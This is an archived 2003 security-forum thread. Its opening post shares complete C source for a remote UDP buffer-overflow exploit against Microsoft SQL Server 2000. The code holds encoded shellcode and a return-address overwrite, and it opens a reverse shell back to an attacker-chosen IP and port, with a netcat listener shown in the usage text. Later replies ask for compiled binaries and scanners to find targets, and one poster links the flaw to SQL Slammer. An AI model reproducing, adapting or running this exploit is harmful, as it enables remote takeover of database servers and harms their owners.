Sql2000 Remote Udp Exploit(new)

Full Version: Sql2000 Remote Udp Exploit(new)

GovernmentSecurity.org > The Archives > Exploit Articles

FL4Me

Aug 19 2003, 07:27 PM

Here is a VERY GOOD Exploit that i found - the exploit is for: MSSQL2000, it called "MSSQL2000 Remote UDP Exploit(New)"..

here is the source Code:

CODE

*
MSSQL2000 Remote UDP Exploit!

Modified from "Advanced Windows Shellcode" by David Litchfield, david@ngssoftware.com

Modified by lion, lion@cnhonker.net

*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment (lib,"Ws2_32")

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned long addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="x04";

int explen=361;
int len;

char exploit_code[362]=
"x55x8BxECx68x18x10xAEx42x68x1C"
"x10xAEx42xEBx03x5BxEBx05xE8xF8"
"xFFxFFxFFxBExFFxFFxFFxFFx81xF6"
"xAExFExFFxFFx03xDEx90x90x90x90"
"x90x33xC9xB1x44xB2x58x30x13x83"
"xEBx01xE2xF9x43x53x8Bx75xFCxFF"
"x16x50x33xC0xB0x0Cx03xD8x53xFF"
"x16x50x33xC0xB0x10x03xD8x53x8B"
"x45xF4x50x8Bx75xF8xFFx16x50x33"
"xC0xB0x0Cx03xD8x53x8Bx45xF4x50"
"xFFx16x50x33xC0xB0x08x03xD8x53"
"x8Bx45xF0x50xFFx16x50x33xC0xB0"
"x10x03xD8x53x33xC0x33xC9x66xB9"
"x04x01x50xE2xFDx89x45xDCx89x45"
"xD8xBFx7Fx01x01x01x89x7DxD4x40"
"x40x89x45xD0x66xB8xFFxFFx66x35"
"xFFxCAx66x89x45xD2x6Ax01x6Ax02"
"x8Bx75xECxFFxD6x89x45xECx6Ax10"
"x8Dx75xD0x56x8Bx5DxECx53x8Bx45"
"xE8xFFxD0x83xC0x44x89x85x58xFF"
"xFFxFFx83xC0x5Ex83xC0x5Ex89x45"
"x84x89x5Dx90x89x5Dx94x89x5Dx98"
"x8DxBDx48xFFxFFxFFx57x8DxBDx58"
"xFFxFFxFFx57x33xC0x50x50x50x83"
"xC0x01x50x83xE8x01x50x50x8Bx5D"
"xE0x53x50x8Bx45xE4xFFxD0x33xC0"
"x50xC6x04x24x61xC6x44x24x01x64"
"x68x54x68x72x65x68x45x78x69x74"
"x54x8Bx45xF0x50x8Bx45xF8xFFx10"
"xFFxD0x90x2Fx2Bx6Ax07x6Bx6Ax76"
"x3Cx34x34x58x58x33x3Dx2Ax36x3D"
"x34x6Bx6Ax76x3Cx34x34x58x58x58"
"x58x0Fx0Bx19x0Bx37x3Bx33x3Dx2C"
"x19x58x58x3Bx37x36x36x3Dx3Bx2C"
"x58x1Bx2Ax3Dx39x2Cx3Dx08x2Ax37"
"x3Bx3Dx2Bx2Bx19x58x58x3Bx35x3C"
"x58";

int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0;
int count = 0;
char sc[300]="";
char ipaddress[40]="";
unsigned short port = 0;
unsigned int ip = 0;
char *ipt="";
char buffer[400]="";
unsigned short prt=0;
char *prtt="";

if(argc != 2 && argc != 5)
{
printf("===============================================================rn");
printf("SQL Server UDP Buffer Overflow Remote Exploitrnn");
printf("Modified from "Advanced Windows Shellcode"rn");
printf("Code by David Litchfield, david@ngssoftware.comrn");
printf("Modified by lion, fix a bug.rn");
printf("Welcome to HUC Website http://www.cnhonker.comrnn");
printf("Usage:rn");
printf(" %s Target [<NCHost> <NCPort> <SQLSP>]rnn", argv[0]);
printf("Exemple:rn");
printf(" C:\>nc -l -p 53rn");
printf("Target is MSSQL SP 0:rn");
printf(" C:\>%s 192.168.0.1 192.168.7.1 53 0rn",argv[0]);
printf("Target is MSSQL SP 1 or 2:rn");
printf(" c:\>%s 192.168.0.1 192.168.7.1 53 1rnn", argv[0]);
return 0;
}

strncpy(host, argv[1], 100);

strncpy(ipaddress, argv[2], 36);

port = atoi(argv[3]);

// SQL Server 2000 Service pack level
// The import entry for GetProcAddress in sqlsort.dll
// is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C
// Need to set the last byte accordingly

if(argv[4][0] == 0x30)
{
printf("MSSQL SP 0. GetProcAddress @0x42ae1010rn");
exploit_code[9]=0x10;
}
else
{
printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae101Crn");
}

ErrorLevel = StartWinsock();
if(ErrorLevel==0)
{
printf("Starting Winsock Error.rn");
return 0;
}

strcpy(buffer,exploit_code);

// set this IP address to connect back to
// this should be your address
ip = inet_addr(ipaddress);
ipt = (char*)&ip;
buffer[142]=ipt[0];
buffer[143]=ipt[1];
buffer[144]=ipt[2];
buffer[145]=ipt[3];

// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -l -p 80

prt = htons(port);
prt = prt ^ 0xFFFF;
prtt = (char *) &prt;
buffer[160]=prtt[0];
buffer[161]=prtt[1];

strcat(request,& #34;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS
TTTTUUUUVVVVWWWWXXXX");

// Overwrite the saved return address on the stack
// This address contains a jmp esp instruction
// and is in sqlsort.dll.

strcat(request,"xDCxC9xB0x42"); // 0x42B0C9DC

// Need to do a near jump
strcat(request,"xEBx0Ex41x42x43x44x45x46");

// Need to set an address which is writable or
// sql server will crash before we can exploit
// the overrun. Rather than choosing an address
// on the stack which could be anywhere we'll
// use an address in the .data segment of sqlsort.dll
// as we're already using sqlsort for the saved
// return address

// SQL 2000 no service packs needs the address here
strcat(request,"x01x70xAEx42");

// SQL 2000 Service Pack 2 needs the address here
strcat(request,"x01x70xAEx42");

// just a few nops
strcat(request,"x90x90x90x90x90x90x90x90");

len = strlen(request)+ explen;

// tack on exploit code to the end of our request and fire it off
memcpy(request+strlen(request), buffer, explen);

// printf("Size: %d/%drn", len, strlen(request));

GainControlOfSQL();

return 0;
}

int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;

wVersionRequested = MAKEWORD(2,1);
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0)
{
printf("error WSAStartup 1.rn");
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 )
{
printf("error WSAStartup 2.rn");
WSACleanup( );
return 0;
}

if (isalpha(host[0]))
{
he = gethostbyname(host);

if (he == NULL)
{
printf("Can't get the ip of %s!rn", host);
WSACleanup( );
exit(-1);
}

s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
}
else
{
s_sa.sin_family=AF_INET;
s_sa.sin_addr.s_addr = inet_addr(host);
}

return 1;
}

int GainControlOfSQL(void)
{
char resp[600]="";
int snd=0,rcv=0,count=0, var=0;
unsigned int ttlbytes=0;
unsigned int to=2000;
SOCKET s;

s=socket(AF_INET,SOCK_DGRAM,0);
if (s==INVALID_SOCKET)
{
return printf("sock error.rn");
}

setsockopt(s, SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));

s_sa.sin_port=htons((unsigned short)SQLUDPPort);

if (connect(s,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
return printf("Connect errorrn");
}
else
{
snd=send(s, request , len , 0);

/* printf("---");
for(int i=0; i<len;i++)
{
if((i%16)==0)
printf("n");
printf("%02X ",request[i]&0xff);
}
printf("n---n");
*/

printf("Packet sent!rn");
printf("If you don't have a shell it didn't work.rn");
rcv = recv(s,resp,596,0);
if(rcv > 1)
{
while(count < rcv)
{
if(resp[count]==0x00)
resp[count]=0x20;
count++;
}
printf("%s",resp);
}
}
closesocket(s);

return 0;
}

* i know its bit long for this page but.. its good exploit and i tought i should share it. *

groove-monkey

Aug 19 2003, 07:31 PM

can someone compile this and post? It would be greatly appreciated.

Im about to do a search for scanners and any tutes that might be available for this sploit. But if anyone already has one available it would be just swell if you let us know. Ill post my findings once I see ones that are worth it to post.

FL4Me

Aug 19 2003, 07:45 PM

ok - i will compile & upload it..
( i will edit this msg after ill compile&upload - and ill add a link )

larsbruggie

Aug 19 2003, 09:49 PM

that would be great

jurk-off

Aug 19 2003, 10:05 PM

omg very good job m8!!! ill go on scanner research

edit:

exploit info: http://www.giac.org/practical/GCIH/William...Qualls_GCIH.pdf

thesource

Aug 20 2003, 05:47 AM

very interesting. thanks you

MKZ

Aug 20 2003, 06:37 AM

thx for sharing , very good job ;p

woutiir

Aug 20 2003, 10:35 AM

I believe this bug is old, it's from july 2002 if i'm not mistaking, tho, i compiled it, and putted it into the download section. good luck wiht it, let me know if it works..

Greetings,
woutiir

shaun2k2

Aug 20 2003, 03:30 PM

Next time, when posting exploit codes, will you please at least post a link to the advisory, instead of simply posting the exploit. This makes sure that people absorb the technical details of the vulnerability, instead of just attempting to crack other peoples computers.

Jurk-off did the right thing by providing vulnerability information. Cheers

.

Thank you for your time.
Shaun.

will_do

Aug 20 2003, 03:37 PM

Can anybody tell me how to scan this and with which scantool?

greatly appreciated

SoleKiller

Aug 20 2003, 07:56 PM

thank you vewy much

bratt

Aug 20 2003, 08:24 PM

old released : Jan 29 2003
need a scanner

TheCommiser

Aug 20 2003, 09:45 PM

is this the exploit slammer ran on??

SyN/AcK

Jan 18 2004, 10:43 AM

Thanks for this guys... and yes this is the one that sql slammer used.

INVASION

Jan 18 2004, 02:16 PM

somebody has a tutorial or what to learn how to compile this?

SyN/AcK

Jan 18 2004, 06:51 PM

Simple, just load up Visual Studio and compile it.

I believe this exploits port 1434 over UDP protocol. Its the same exploit that SQL SLammer used.

cyrixx

Jan 18 2004, 07:04 PM

yooooo,
and is now useless

i don't think that somebody will find any targets

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.